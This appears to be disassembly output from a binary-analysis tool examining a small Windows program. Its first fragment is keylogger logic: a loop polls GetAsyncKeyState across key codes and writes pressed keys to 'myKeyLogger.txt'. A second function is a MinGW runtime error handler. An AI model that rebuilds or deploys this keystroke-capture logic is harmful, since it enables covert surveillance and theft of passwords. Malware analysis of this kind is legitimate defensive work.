mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x1400014df
mov eax, dword [rbp - 4]
mov edx, eax
lea rax, str.myKeyLogger.txt
mov rcx, rax
call sym.out_char_const__int_
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xff
jle 0x1400014b2
jmp 0x1400014a9

Function at 0x140001910
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]